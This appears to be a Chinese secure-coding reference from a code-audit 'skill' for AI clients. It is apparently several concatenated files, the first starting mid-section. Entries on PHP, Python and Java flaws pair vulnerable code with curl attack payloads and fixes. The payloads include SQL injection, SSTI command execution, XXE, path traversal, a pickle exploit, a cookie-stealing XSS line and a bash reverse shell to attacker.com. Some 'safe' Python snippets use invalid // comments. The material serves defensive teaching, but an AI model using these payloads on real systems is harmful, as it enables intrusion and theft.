curl "http://example.com/vuln.php?url=javascript://comment%250aalert(1)"
```

**修复建议**：
```php
// ✅ 安全：使用更严格的URL验证
$url = $_GET['url'];

if (filter_var($url, FILTER_VALIDATE_URL)) {
    // 检查协议是否为http或https
    $parsed = parse_url($url);
    if (isset($parsed['scheme']) && in_array(strtolower($parsed['scheme']), ['http', 'https'])) {
        // 使用htmlspecialchars防止XSS
        echo "<a href='".htmlspecialchars($url)."'>点击访问</a>";
    }
}
```

### 3. PHP class_exists() 文件包含漏洞

**漏洞原理**：
class_exists()函数默认会调用__autoload()函数，在PHP 5~5.3版本中，攻击者可以使用路径穿越（../）来包含任意文件。例如，类名为../../../../etc/passwd时，会尝试包含系统密码文件。

**危害**：
- 任意文件读取
- 代码执行
- 服务器信息泄露
- 系统入侵

**代码片段**：
```php
// ❌ 危险：class_exists() 自动加载
$classname = $_GET['class'];

if (class_exists($classname)) {
    $instance = new $classname();
    // 使用实例
}
```

**攻击Payload**：
```bash
# 文件包含攻击
curl "http://example.com/vuln.php?class=../../../../etc/passwd"
```

**修复建议**：
```php
// ✅ 安全：禁用自动加载并使用白名单
$classname = $_GET['class'];
$allowed_classes = ['User', 'Product', 'Order'];

if (in_array($classname, $allowed_classes) && class_exists($classname, false)) {
    $instance = new $classname();
    // 使用实例
}
```

### 4. PHP XXE攻击（SimpleXMLElement）

**漏洞原理**：
当用户可以控制类名和构造函数参数时，攻击者可以实例化PHP内置的SimpleXMLElement类来执行XXE攻击。通过构造恶意XML，可以读取本地文件、执行命令（需要expect扩展）或进行拒绝服务攻击。

**危害**：
- 任意文件读取
- 命令执行（在特定配置下）
- 拒绝服务攻击
- 内网端口扫描

**代码片段**：
```php
// ❌ 危险：用户控制类名和参数
$classname = $_GET['class'];
$param = $_GET['param'];

if (class_exists($classname)) {
    $instance = new $classname($param);
    // 使用实例
}
```

**攻击Payload**：
```bash
# XXE攻击 - 读取本地文件
curl "http://example.com/vuln.php?class=SimpleXMLElement&param=<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>"
```

**修复建议**：
```php
// ✅ 安全：使用白名单限制可实例化的类
$classname = $_GET['class'];
$param = $_GET['param'];
$allowed_classes = ['User', 'Product'];

if (in_array($classname, $allowed_classes) && class_exists($classname)) {
    $instance = new $classname($param);
    // 使用实例
}

// ✅ 安全：XXE防护 - 禁用外部实体
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($xml_data);
```

## 16. Python安全漏洞

### 1. Python SQL注入

**漏洞原理**：
Python中SQL注入主要是由于使用格式化字符串拼接SQL语句，或者在ORM框架中不正确使用原生SQL。例如，使用`"SELECT * FROM users WHERE id = %s" % id`这样的拼接方式会导致SQL注入。

**危害**：
- 未授权访问数据库数据
- 获取敏感信息
- 修改数据库数据
- 执行数据库管理员操作
- 绕过认证

**代码片段**：
```python
# ❌ 危险：使用格式化字符串拼接SQL
id = request.GET.get('id')
sql = "SELECT * FROM users WHERE id = %s" % id
cursor.execute(sql)

# ❌ 危险：Django中使用原生SQL拼接
from django.db import connection
id = request.GET.get('id')
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = %s" % id)

# ❌ 危险：SQLAlchemy中使用原生SQL拼接
from sqlalchemy import create_engine
engine = create_engine('sqlite:///example.db')
id = request.GET.get('id')
with engine.connect() as conn:
    result = conn.execute("SELECT * FROM users WHERE id = %s" % id)
```

**攻击Payload**：
```bash
# 获取所有用户
curl "http://example.com/user?id=1 OR 1=1"

# 获取数据库信息
curl "http://example.com/user?id=1 UNION SELECT table_name, column_name FROM information_schema.columns"
```

**修复建议**：
```python
// ✅ 安全：使用参数化查询
id = request.GET.get('id')
sql = "SELECT * FROM users WHERE id = ?"
cursor.execute(sql, (id,))

// ✅ 安全：Django ORM
from myapp.models import User
id = request.GET.get('id')
user = User.objects.get(id=id)

// ✅ 安全：SQLAlchemy ORM
from sqlalchemy.orm import sessionmaker
from myapp.models import User
Session = sessionmaker(bind=engine)
session = Session()
id = request.GET.get('id')
user = session.query(User).filter(User.id == id).first()
```

### 2. Python SSRF（服务器端请求伪造）

**漏洞原理**：
SSRF是由于服务器端未验证用户输入的URL，导致可以构造恶意请求访问内网资源。Python中常用的请求库（urllib、requests、pycurl）都可能导致SSRF。

**危害**：
- 访问内网服务
- 读取本地文件
- 端口扫描
- 利用内网服务漏洞
- 执行命令（在特定条件下）

**代码片段**：
```python
# ❌ 危险：使用urllib
import urllib.request

@app.route('/ssrf')
def ssrf():
    url = request.args.get('url')
    response = urllib.request.urlopen(url)
    return response.read().decode('utf-8')

# ❌ 危险：使用requests
import requests

@app.route('/ssrf')
def ssrf():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text

# ❌ 危险：使用pycurl
import pycurl
from io import BytesIO

@app.route('/ssrf')
def ssrf():
    url = request.args.get('url')
    buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
    return buffer.getvalue().decode('utf-8')
```

**攻击Payload**：
```bash
# 访问内网服务
curl "http://example.com/ssrf?url=http://127.0.0.1:8080"

# 读取本地文件
curl "http://example.com/ssrf?url=file:///etc/passwd"

# 端口扫描
curl "http://example.com/ssrf?url=http://127.0.0.1:3306"
```

**修复建议**：
```python
// ✅ 安全：使用白名单限制
import urllib.parse
import ipaddress
import socket

def is_safe_url(url):
    parsed = urllib.parse.urlparse(url)
    # 检查协议
    if parsed.scheme not in ['http', 'https']:
        return False
    # 检查域名/IP
    try:
        # 解析域名
        ip = socket.gethostbyname(parsed.netloc)
        # 检查是否为内网IP
        return not ipaddress.ip_address(ip).is_private
    except:
        return False

@app.route('/ssrf')
def ssrf():
    url = request.args.get('url')
    if is_safe_url(url):
        response = requests.get(url)
        return response.text
    return "不安全的URL"
```

### 3. Python SSTI（服务器端模板注入）

**漏洞原理**：
SSTI是由于服务器端模板引擎未正确处理用户输入，导致用户输入被当作模板代码执行。Flask/Jinja2中使用`render_template_string`时特别容易出现此问题。

**危害**：
- 执行任意Python代码
- 读取敏感文件
- 获取服务器权限
- 信息泄露

**代码片段**：
```python
# ❌ 危险：Flask中使用render_template_string
from flask import render_template_string

@app.route('/ssti')
def ssti():
    name = request.args.get('name')
    template = "<h1>Hello %s</h1>" % name
    return render_template_string(template)

# ❌ 危险：Jinja2直接使用
from jinja2 import Template

@app.route('/ssti')
def ssti():
    name = request.args.get('name')
    template = Template('<h1>Hello %s</h1>' % name)
    return template.render()
```

**攻击Payload**：
```bash
# 执行系统命令
curl "http://example.com/ssti?name={{().__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('id')}}"

# 读取敏感文件
curl "http://example.com/ssti?name={{().__class__.__mro__[-1].__subclasses__()[40]().read()}}"

# 获取配置信息
curl "http://example.com/ssti?name={{config}}"
```

**修复建议**：
```python
// ✅ 安全：避免使用render_template_string
@app.route('/ssti')
def ssti():
    name = request.args.get('name')
    return render_template('hello.html', name=name)

// ✅ 安全：使用SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment

@app.route('/ssti')
def ssti():
    name = request.args.get('name')
    env = SandboxedEnvironment()
    template = env.from_string('<h1>Hello {{ name }}</h1>')
    return template.render(name=name)
```

### 4. Python XSS（跨站脚本）

**漏洞原理**：
Python Web应用中的XSS漏洞与其他语言类似，主要是由于未对用户输入进行转义就直接输出到页面。使用模板引擎时，如果使用了`|safe`过滤器也可能导致XSS。

**危害**：
- 会话劫持
- 数据窃取
- 钓鱼攻击
- 网页篡改
- 键盘记录

**代码片段**：
```python
# ❌ 危险：直接输出用户输入
@app.route('/xss')
def xss():
    name = request.args.get('name')
    return "<h1>Hello %s</h1>" % name

# ❌ 危险：使用safe过滤器
@app.route('/xss')
def xss():
    name = request.args.get('name')
    return render_template('xss.html', name=name)

# 模板中的安全过滤器使用
# <h1>Hello {{ name|safe }}</h1>
```

**攻击Payload**：
```bash
# 基本XSS
curl "http://example.com/xss?name=<script>alert('XSS')</script>"

# 会话劫持
curl "http://example.com/xss?name=<script>var img=new Image();img.src='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
```

**修复建议**：
```python
// ✅ 安全：使用模板自动转义
@app.route('/xss')
def xss():
    name = request.args.get('name')
    return render_template('xss.html', name=name)

// ✅ 安全：手动HTML转义
import html

@app.route('/xss')
def xss():
    name = request.args.get('name')
    safe_name = html.escape(name)
    return "<h1>Hello %s</h1>" % safe_name
```

### 5. Python 反序列化漏洞

**漏洞原理**：
Python中的反序列化漏洞主要是由于使用`pickle`模块反序列化用户可控数据。`pickle`在反序列化过程中会执行对象的`__reduce__`方法，可能导致任意代码执行。

**危害**：
- 执行任意Python代码
- 获取服务器权限
- 信息泄露
- 持久化攻击

**代码片段**：
```python
# ❌ 危险：使用pickle反序列化用户输入
import pickle

@app.route('/unserialize')
def unserialize():
    data = request.args.get('data')
    obj = pickle.loads(data)
    return str(obj)
```

**攻击Payload**：
```python
# 构造恶意pickle数据
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

data = pickle.dumps(Exploit())
# 将data编码后发送
# curl "http://example.com/unserialize?data=..."
```

**修复建议**：
```python
// ✅ 安全：避免使用pickle反序列化用户输入
// 使用JSON替代
import json

@app.route('/deserialize')
def deserialize():
    data = request.args.get('data')
    obj = json.loads(data)
    return str(obj)

// ✅ 安全：使用签名验证
import pickle
import hmac
import hashlib

SECRET_KEY = b'secret_key'

def serialize(obj):
    data = pickle.dumps(obj)
    signature = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
    return data, signature

def unserialize(data, signature):
    expected_signature = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
    if signature != expected_signature:
        raise ValueError("无效的数据")
    return pickle.loads(data)
```

### 6. Python 命令执行漏洞

**漏洞原理**：
Python中的命令执行漏洞主要是由于使用`os.system`、`subprocess.call`等函数执行系统命令时，直接拼接用户输入。

**危害**：
- 执行任意系统命令
- 获取服务器权限
- 读取敏感文件
- 控制系统

**代码片段**：
```python
# ❌ 危险：使用os.system
import os

@app.route('/exec')
def exec_cmd():
    cmd = request.args.get('cmd')
    os.system('ping ' + cmd)
    return "命令执行成功"

# ❌ 危险：使用subprocess
import subprocess

@app.route('/exec')
def exec_cmd():
    cmd = request.args.get('cmd')
    result = subprocess.check_output('ping ' + cmd, shell=True)
    return result.decode('utf-8')
```

**攻击Payload**：
```bash
# 执行系统命令
curl "http://example.com/exec?cmd=8.8.8.8; id"

# 读取敏感文件
curl "http://example.com/exec?cmd=8.8.8.8; cat /etc/passwd"

# 反弹Shell
curl "http://example.com/exec?cmd=8.8.8.8; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
```

**修复建议**：
```python
// ✅ 安全：使用参数列表
import subprocess

@app.route('/exec')
def exec_cmd():
    ip = request.args.get('ip')
    # 使用参数列表，避免shell=True
    result = subprocess.check_output(['ping', '-c', '4', ip])
    return result.decode('utf-8')

// ✅ 安全：使用白名单
import subprocess

ALLOWED_COMMANDS = ['ping', 'traceroute']

@app.route('/exec')
def exec_cmd():
    cmd = request.args.get('cmd')
    args = cmd.split()
    if args[0] in ALLOWED_COMMANDS:
        result = subprocess.check_output(args)
        return result.decode('utf-8')
    return "不允许的命令"
```

### 7. Python CSRF（跨站请求伪造）漏洞

**漏洞原理**：
CSRF漏洞是由于Web应用程序未正确实施CSRF保护机制，导致攻击者可以通过欺骗用户浏览器发送恶意请求。在Python中，Django默认启用CSRF保护，但如果使用`@csrf_exempt`装饰器或禁用中间件，可能会导致CSRF漏洞。Flask默认不启用CSRF保护，需要手动配置。

**危害**：
- 未授权操作（如修改密码、转账、发布内容）
- 数据修改或删除
- 账户接管
- 资金损失
- 隐私泄露

**代码片段**：
```python
# ❌ 危险：Django中使用@csrf_exempt
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt
def csrf_vuln(request):
    if request.method == "POST":
        # 执行敏感操作，如修改密码
        return HttpResponse("操作成功")

# ❌ 危险：Flask中未启用CSRF保护
from flask import Flask, request

@app.route('/csrf', methods=["GET","POST"])
def csrf_vuln():
    if request.method == "POST":
        # 执行敏感操作
        return "操作成功"
```

**攻击Payload**：
```html
<!-- 自动提交表单 -->
<form action="http://example.com/csrf" method="post">
    <input type="hidden" name="password" value="attacker123">
    <input type="submit" value="点击领取奖品">
</form>
<script>document.forms[0].submit();</script>
```

**修复建议**：
```python
// ✅ 安全：Django中正确使用CSRF保护
# 1. 保持默认的CSRF中间件启用
# Django settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
    # 其他中间件
]

# 2. 对于需要保护的视图，确保未使用@csrf_exempt
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def csrf_safe(request):
    if request.method == "POST":
        # 执行敏感操作
        return HttpResponse("操作成功")

// ✅ 安全：Flask中启用CSRF保护
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'

# 启用全局CSRF保护
csrf = CSRFProtect(app)

@app.route('/csrf', methods=["GET","POST"])
def csrf_safe():
    if request.method == "POST":
        # 执行敏感操作
        return "操作成功"
```

### 8. Python 文件上传漏洞

**漏洞原理**：
文件上传漏洞是由于Web应用程序未对上传文件的类型、大小、内容进行严格验证，导致攻击者可以上传恶意文件。在Python中，Flask和Django都提供了文件上传功能，但如果配置不当，可能会导致安全问题。

**危害**：
- 远程代码执行（上传Webshell）
- 服务器控制权
- 数据泄露
- 拒绝服务攻击（上传大文件）
- 文件覆盖攻击

**代码片段**：
```python
# ❌ 危险：Flask中不安全的文件上传
from flask import request
import os

@app.route('/upload', methods=['GET','POST'])
def upload():
    if request.files.get('filename'):
        file = request.files.get('filename')
        upload_dir = os.path.join(os.path.dirname(__file__), 'uploadfile')
        dir = os.path.join(upload_dir, file.filename)
        with open(dir, 'wb') as f:
            f.write(file.read())
        return "上传成功"

# ❌ 危险：Django中不安全的文件上传
def upload_file(request):
    if request.method == 'POST':
        dir = os.path.join(os.path.dirname(__file__), '../static/upload')
        file = request.FILES.get('filename')
        name = os.path.join(dir, file.name)
        with open(name, 'wb') as f:
            f.write(file.read())
        return "上传成功"
```

**攻击Payload**：
```bash
# 上传Webshell
curl -X POST "http://example.com/upload" \
  -F "filename=@shell.py"

# 上传大文件导致DoS
curl -X POST "http://example.com/upload" \
  -F "filename=@large_file.bin"

# 文件覆盖攻击（上传压缩包）
curl -X POST "http://example.com/zip" \
  -F "filename=@bad.zip"
```

**修复建议**：
```python
// ✅ 安全：Flask中安全的文件上传
from flask import request, secure_filename
import os

app.config['UPLOAD_FOLDER'] = os.path.join(os.path.dirname(__file__), 'uploadfile')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024  # 限制1MB
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['GET','POST'])
def upload():
    if request.files.get('filename'):
        file = request.files.get('filename')
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "上传成功"
        else:
            return "不允许的文件类型"

// ✅ 安全：Django中安全的文件上传
import os
import uuid
from django.conf import settings

def allowed_file(filename):
    if '.' in filename and filename.rsplit('.', 1)[1].lower() in settings.ALLOWED_EXTENSIONS:
        filext = filename.rsplit('.', 1)[1].lower()
        return str(uuid.uuid5(uuid.NAMESPACE_DNS, filename)) + "." + filext
    else:
        return None

def upload_file(request):
    if request.method == 'POST':
        img = request.FILES.get('filename')
        if img.size < settings.MAX_FILE_SIZE:
            safe_filename = allowed_file(img.name)
            if safe_filename:
                upload_path = os.path.join(settings.UPLOAD_FOLDER, safe_filename)
                with open(upload_path, 'wb') as f:
                    for line in img.chunks():
                        f.write(line)
                return "上传成功"
            else:
                return "不允许的文件类型"
        else:
            return "文件大小超限"
```

### 9. Python 文件读取漏洞

**漏洞原理**：
文件读取漏洞是由于Web应用程序未正确验证用户输入的文件路径，导致攻击者可以读取系统中的任意文件。在Python中，常见的漏洞形式包括使用`open()`函数直接读取用户输入的路径，或使用`urllib`等库读取`file://`协议的URL。

**危害**：
- 读取敏感文件（如配置文件、密码文件）
- 信息泄露（如数据库凭证、API密钥）
- 系统入侵
- 绕过访问控制

**代码片段**：
```python
# ❌ 危险：使用open()直接读取用户输入
@app.route('/read')
def read_file():
    if request.args.get('file'):
        file = request.args.get('file')
        with open(file, 'r') as f:
            content = f.read()
        return content

# ❌ 危险：使用urllib读取file协议
import urllib.request

@app.route('/read')
def read_file():
    if request.args.get('file'):
        file = request.args.get('file')
        req = urllib.request.urlopen(file)
        return req.read().decode('utf-8')

# ❌ 危险：路径拼接导致目录穿越
@app.route('/uploadfile/<path:file>')
def read_uploaded_file(file):
    with open('./uploadfile/%s' % file, 'r') as f:
        content = f.read()
    return content
```

**攻击Payload**：
```bash
# 读取系统密码文件
curl "http://example.com/read?file=/etc/passwd"

# 使用file协议读取文件
curl "http://example.com/read?file=file:///etc/passwd"

# 目录穿越攻击
curl "http://example.com/uploadfile/..%2f..%2f..%2f..%2f..%2fetc/passwd"
```

**修复建议**：
```python
// ✅ 安全：限制文件读取范围
import os

@app.route('/read')
def read_file():
    if request.args.get('file'):
        file = request.args.get('file')
        # 限制只能读取特定目录下的文件
        safe_dir = os.path.abspath('./files')
        target_path = os.path.abspath(os.path.join(safe_dir, file))
        
        # 验证路径是否在安全目录内
        if os.path.commonprefix([target_path, safe_dir]) == safe_dir:
            with open(target_path, 'r') as f:
                content = f.read()
            return content
        else:
            return "无权访问该文件"

// ✅ 安全：Flask中使用send_from_directory
from flask import send_from_directory

@app.route('/uploadfile/<path:file>')
def read_uploaded_file(file):
    # send_from_directory会自动处理路径安全
    return send_from_directory('./uploadfile', file)

// ✅ 安全：禁用file协议
import urllib.parse

@app.route('/read')
def read_file():
    if request.args.get('file'):
        file = request.args.get('file')
        parsed = urllib.parse.urlparse(file)
        # 只允许http和https协议
        if parsed.scheme in ['http', 'https']:
            req = urllib.request.urlopen(file)
            return req.read().decode('utf-8')
        else:
            return "不支持的协议"
```

path: examples/vulnerability-cases.md
content: # 漏洞案例库

> **本文档用途**: 按漏洞类型分类的真实案例集合  
> **目标读者**: 安全审计人员、开发人员  
> **内容特点**: 实际代码示例 + 攻击Payload + 修复方案  
> **相关文档**:
> - [漏洞分析方法](vulnerability-analysis.md) - 学习如何分析漏洞
> - [攻击链与POC](detailed-vulnerability-chains.md) - 详细的攻击步骤和POC

---

## 1. 注入类漏洞案例

### 1.1 SQL注入案例

#### 案例1.1.1: 基于字符串拼接的SQL注入
**漏洞类型**：SQL注入
**严重程度**：High
**影响范围**：数据泄露、数据篡改

**漏洞代码**：
```java
// UserController.java
@GetMapping("/users/{id}")
public User getUserById(@PathVariable Long id) {
    String sql = "SELECT * FROM users WHERE id = " + id;
    return jdbcTemplate.query(sql, new UserRowMapper());
}
```

**攻击Payload**：
```bash
# 联合查询注入
curl -X GET "http://example.com/api/users/1 UNION SELECT username, password FROM admin_users"

# 盲注
curl -X GET "http://example.com/api/users/1 AND 1=1"

# 时间盲注
curl -X GET "http://example.com/api/users/1 AND SLEEP(5)"
```

**修复方案**：
```java
@GetMapping("/users/{id}")
public User getUserById(@PathVariable Long id) {
    String sql = "SELECT * FROM users WHERE id = ?";
    return jdbcTemplate.queryForObject(sql, new Object[]{id}, new UserRowMapper());
}
```

#### 案例1.1.2: 不安全ORM使用
**漏洞类型**：SQL注入
**严重程度**：Medium
**影响范围**：数据泄露

**漏洞代码**：
```python
# user_service.py
def get_users_by_role(role_name):
    query = f"SELECT * FROM users WHERE role = '{role_name}'"
    return db.execute(query).fetchall()
```

**攻击Payload**：
```bash
# 条件注入
curl -X GET "http://example.com/api/users?role=admin' OR '1'='1"

# 注释注入
curl -X GET "http://example.com/api/users?role=admin'--"
```

**修复方案**：
```python
def get_users_by_role(role_name):
    query = "SELECT * FROM users WHERE role = %s"
    return db.execute(query, (role_name,)).fetchall()
```

### 1.2 命令注入案例

#### 案例1.2.1: Runtime.exec命令注入
**漏洞类型**：命令注入
**严重程度**：Critical
**影响范围**：远程代码执行

**漏洞代码**：
```java
// CommandExecutor.java
public void executeCommand(String command) {
    try {
        Runtime.getRuntime().exec("ping " + command);
    } catch (IOException e) {
        e.printStackTrace();
    }
}
```

**攻击Payload**：
```bash
# 命令分隔符
curl -X POST "http://example.com/api/execute" -d "command=example.com; cat /etc/passwd"

# 管道注入
curl -X POST "http://example.com/api/execute" -d "command=example.com | whoami"

# 反引号注入
curl -X POST "http://example.com/api/execute" -d "command=example.com`whoami`"
```

**修复方案**：
```java
public void executeCommand(String[] command) {
    try {
        ProcessBuilder pb = new ProcessBuilder(command);
        pb.redirectErrorStream(true);
        Process process = pb.start();
        int exitCode = process.waitFor();
        if (exitCode != 0) {
            throw new RuntimeException("Command execution failed");
        }
    } catch (IOException | InterruptedException e) {
        throw new RuntimeException("Command execution error", e);
    }
}
```

#### 案例1.2.2: subprocess命令注入
**漏洞类型**：命令注入
**严重程度**：High
**影响范围**：远程代码执行

**漏洞代码**：
```python
# command_executor.py
import subprocess

def execute_command(user_input):
    command = f"ping {user_input}"
    result = subprocess.run(command, shell=True, capture_output=True)
    return result.stdout
```

**攻击Payload**：
```bash
# 命令注入
curl -X POST "http://example.com/api/execute" -d "input=example.com; cat /etc/passwd"

# 反引号注入
curl -X POST "http://example.com/api/execute" -d "input=example.com`whoami`"
```

**修复方案**：
```python
import subprocess

def execute_command(user_input):
    if not is_valid_input(user_input):
        raise ValueError("Invalid input")
    
    command = ["ping", user_input]
    result = subprocess.run(command, shell=False, capture_output=True)
    return result.stdout
```

### 1.3 XSS案例

#### 案例1.3.1: 存储型XSS
**漏洞类型**：XSS
**严重程度**：Medium
**影响范围**：会话劫持、数据窃取

**漏洞代码**：
```javascript
// CommentController.java
@PostMapping("/comments")
public String addComment(@RequestBody Comment comment) {
    commentService.save(comment);
    return "redirect:/comments";
}
```

```html
<!-- comments.html -->
<div class="comment">
    <p>${comment.content}</p>
</div>
```

**攻击Payload**：
```html
<script>
// 存储XSS攻击
fetch('http://example.com/api/comments', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        content: '<script>alert(document.cookie)</script>'
    })
});
</script>
```

**修复方案**：
```html
<div class="comment">
    <p>${comment.content?html}</p>
</div>
```

#### 案例1.3.2: 反射型XSS
**漏洞类型**：XSS
**严重程度**：Medium
**影响范围**：会话劫持、数据窃取

**漏洞代码**：
```java
// SearchController.java
@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
    model.addAttribute("query", query);
    return "search-results";
}
```

```html
<!-- search-results.html -->
<div class="results">
    <p>搜索结果: ${query}</p>
</div>
```

**攻击Payload**：
```bash
# 反射型XSS攻击
curl -X GET "http://example.com/search?query=<script>alert(document.cookie)</script>"
```

**修复方案**：
```html
<div class="results">
    <p>搜索结果: ${query?html}</p>
</div>
```

### 1.4 认证绕过案例

#### 案例1.4.1: 逻辑错误认证绕过
**漏洞类型**：认证绕过
**严重程度**：Critical
**影响范围**：未授权访问

**漏洞代码**：
```java
// AuthService.java
public boolean authenticate(String username, String password) {
    User user = userRepository.findByUsername(username);
    if (user != null && user.getPassword().equals(password)) {
        return true;
    }
    return false;
}
```

**攻击Payload**：
```bash
# 逻辑错误攻击
curl -X POST "http://example.com/api/login" -d "username=admin&password=wrong"
curl -X POST "http://example.com/api/login" -d "username=admin'--&password=wrong"
```

**修复方案**：
```java
public boolean authenticate(String username, String password) {
    User user = userRepository.findByUsername(username);
    if (user == null) {
        return false;
    }
    
    String hashedPassword = hashPassword(password);
    return hashedPassword.equals(user.getPassword());
}
```

#### 案例1.4.2: 配置错误认证绕过
**漏洞类型**：认证绕过
**严重程度**：Critical
**影响范围**：未授权访问

**漏洞代码**：
```java
// SecurityConfig.java
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()
            .antMatchers("/api/admin/**").permitAll()  // 管理接口未认证
            .anyRequest().authenticated()
        .and()
        .formLogin();
}
```

**攻击Payload**：
```bash
# 未授权访问
curl -X GET "http://example.com/api/admin/users"
curl -X GET "http://example.com/api/admin/config"
```

**修复方案**：
```java
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()
            .antMatchers("/api/admin/**").hasRole("ADMIN")  // 添加角色检查
            .anyRequest().authenticated()
        .and()
        .formLogin();
}
```

### 1.5 路径遍历案例

#### 案例1.5.1: 文件读取路径遍历
**漏洞类型**：路径遍历
**严重程度**：High
**影响范围**：任意文件读取

**漏洞代码**：
```java
// FileController.java
@GetMapping("/files/{filename}")
public ResponseEntity<Resource> getFile(@PathVariable String filename) {
    File file = new File("/var/www/uploads/" + filename);
    Resource resource = new FileSystemResource(file);
    return ResponseEntity.ok()
            .contentType(MediaType.APPLICATION_OCTET_STREAM)
            .body(resource);
}
```

**攻击Payload**：
```bash
# 路径遍历攻击
curl -X GET "http://example.com/api/files/../../../etc/passwd"
curl -X GET "http://example.com/api/files/..%2F..%2F..%2Fetc%2Fpasswd"
```

**修复方案**：
```java
@GetMapping("/files/{filename}")
public ResponseEntity<Resource> getFile(@PathVariable String filename) {
    if (!isValidFilename(filename)) {
        return ResponseEntity.badRequest().build();
    }
    
    Path filePath = Paths.get("/var/www/uploads/").resolve(filename).normalize();
    if (!filePath.startsWith("/var/www/uploads/")) {
        return ResponseEntity.badRequest().build();
    }
    
    File file = filePath.toFile();
    Resource resource = new FileSystemResource(file);
    return ResponseEntity.ok()
            .contentType(MediaType.APPLICATION_OCTET_STREAM)
            .body(resource);
}
```

### 1.6 SSRF案例

#### 案例1.6.1: URL可控SSRF
**漏洞类型**：SSRF
**严重程度**：High
**影响范围**：内网扫描、数据泄露

**漏洞代码**：
```java
// ProxyController.java
@GetMapping("/proxy")
public String proxy(@RequestParam String url) throws IOException {
    URL targetUrl = new URL(url);
    HttpURLConnection connection = (HttpURLConnection) targetUrl.openConnection();
    connection.setRequestMethod("GET");
    
    BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    StringBuilder response = new StringBuilder();
    String line;
    while ((line = reader.readLine()) != null) {
        response.append(line);
    }
    
    return response.toString();
}
```

**攻击Payload**：
```bash
# 内网扫描
curl -X GET "http://example.com/api/proxy?url=http://192.168.1.1:22"
curl -X GET "http://example.com/api/proxy?url=http://localhost:8080"

# 云元数据访问
curl -X GET "http://example.com/api/proxy?url=http://169.254.169.254/latest/meta-data/"
```

**修复方案**：
```java
@GetMapping("/proxy")
public String proxy(@RequestParam String url) throws IOException {
    if (!isValidUrl(url)) {
        throw new IllegalArgumentException("Invalid URL");
    }
    
    URL targetUrl = new URL(url);
    String host = targetUrl.getHost();
    
    if (isInternalIp(host)) {
        throw new IllegalArgumentException("Internal IP not allowed");
    }
    
    HttpURLConnection connection = (HttpURLConnection) targetUrl.openConnection();
    connection.setRequestMethod("GET");
    
    BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    StringBuilder response = new StringBuilder();
    String line;
    while ((line = reader.readLine()) != null) {
        response.append(line);
    }
    
    return response.toString();
}
```

### 1.7 文件上传案例

#### 案例1.7.1: 不安全的文件上传
**漏洞类型**：文件上传
**严重程度**：High
**影响范围**：任意文件上传、WebShell

**漏洞代码**：
```java
// UploadController.java
@PostMapping("/upload")
public String uploadFile(@RequestParam MultipartFile file) throws IOException {
    String filename = file.getOriginalFilename();
    File uploadDir = new File("/var/www/uploads/");
    File destination = new File(uploadDir, filename);
    file.transferTo(destination);
    return "File uploaded: " + filename;
}
```

**攻击Payload**：
```bash
# WebShell上传
curl -X POST "http://example.com/api/upload" -F "file=@shell.php"

# 双重扩展名攻击
curl -X POST "http://example.com/api/upload" -F "file=@shell.php.jpg"

# NULL字节注入
curl -X POST "http://example.com/api/upload" -F "file=@shell.php\x00.jpg"
```

**修复方案**：
```java
@PostMapping("/upload")
public String uploadFile(@RequestParam MultipartFile file) throws IOException {
    String originalFilename = file.getOriginalFilename();
    String extension = getFileExtension(originalFilename);
    
    if (!isAllowedExtension(extension)) {
        throw new IllegalArgumentException("File type not allowed");
    }
    
    String safeFilename = generateSafeFilename(originalFilename);
    File uploadDir = new File("/var/www/uploads/");
    File destination = new File(uploadDir, safeFilename);
    file.transferTo(destination);
    
    return "File uploaded: " + safeFilename;
}
```

## 2. 漏洞修复最佳实践

### 2.1 通用修复原则
1. **输入验证**：对所有用户输入进行严格验证
2. **输出编码**：对所有输出进行适当的编码
3. **最小权限**：遵循最小权限原则
4. **防御纵深**：实施多层安全控制
5. **安全默认**：使用安全的默认配置
6. **持续监控**：实施安全监控和日志记录

### 2.2 技术栈特定修复
1. **Java**：使用PreparedStatement、避免Runtime.exec、使用Spring Security
2. **Python**：使用参数化查询、避免shell=True、使用Flask安全功能
3. **JavaScript**：使用模板自动转义、避免eval、实施CSP
4. **PHP**：使用PDO预处理、避免eval、使用htmlspecialchars

### 2.3 测试验证
1. **单元测试**：编写安全相关的单元测试
2. **集成测试**：进行安全相关的集成测试
3. **渗透测试**：进行专业的渗透测试
4. **代码审查**：进行安全代码审查

path: README.md
content: # skill-dfyx_code_security_review
东方隐侠团队出品，代码审计skill

# dfyx_code_security_review

> 基于深度数据流分析和业务逻辑理解的专家级代码安全审计 Skill

## 简介

**dfyx_code_security_review** 是为 Claude Code、Trae 等 AI 客户端设计的专业代码安全审计 Skill。采用白盒静态分析方法论，通过五阶段标准化审计协议，系统性发现和验证源代码中的安全漏洞。

### 核心能力

